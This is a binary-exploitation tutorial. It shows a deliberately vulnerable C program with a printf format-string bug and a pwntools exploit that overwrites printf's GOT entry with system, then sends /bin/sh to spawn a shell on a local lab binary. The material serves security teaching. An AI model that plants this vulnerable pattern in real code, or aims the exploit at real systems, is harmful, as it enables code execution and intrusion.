Exploiting a GOT overwrite Source
The very simplest of possible GOT-overwrite binaries.
Copy #include <stdio.h>
void vuln () {
char buffer[ 300 ];
while ( 1 ) {
fgets(buffer , sizeof (buffer) , stdin) ;
printf(buffer) ;
puts( "" ) ;
}
}
int main () {
vuln() ;
return 0 ;
}
Infinite loop which takes in your input and prints it out to you using printf
- no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :)
Exploitation
As per usual, set it all up
Copy from pwn import *
elf = context . binary = ELF ( './got_overwrite-32' )
libc = elf . libc
libc . address = 0x f7dc2000 # ASLR disabled
p = process ()
Now, to do the %n
overwrite, we need to find the offset until we start reading the buffer.
Copy $ ./got_overwrite
%p %p %p %p %p %p
0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070
Looks like it's the 5th.
Copy $./got_overwrite
%5$p
0x70243525
Yes it is!
Copy payload = fmtstr_payload ( 5 , {elf.got[ 'printf' ] : libc.sym[ 'system' ]})
p . sendline (payload)
p . clean ()
p . interactive ()
Now, next time printf
gets called on your input it'll actually be system
!
If the buffer is restrictive, you can always send /bin/sh
to get you into a shell and run longer commands.
Final Exploit
Copy from pwn import *
elf = context . binary = ELF ( './got_overwrite-32' )
libc = elf . libc
libc . address = 0x f7dc2000 # ASLR disabled
p = process ()
payload = fmtstr_payload ( 5 , {elf.got[ 'printf' ] : libc.sym[ 'system' ]})
p . sendline (payload)
p . clean ()
p . sendline ( '/bin/sh' )
p . interactive ()
64-bit
You'll never guess. That's right! You can do this one by yourself.
ASLR Enabled
If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.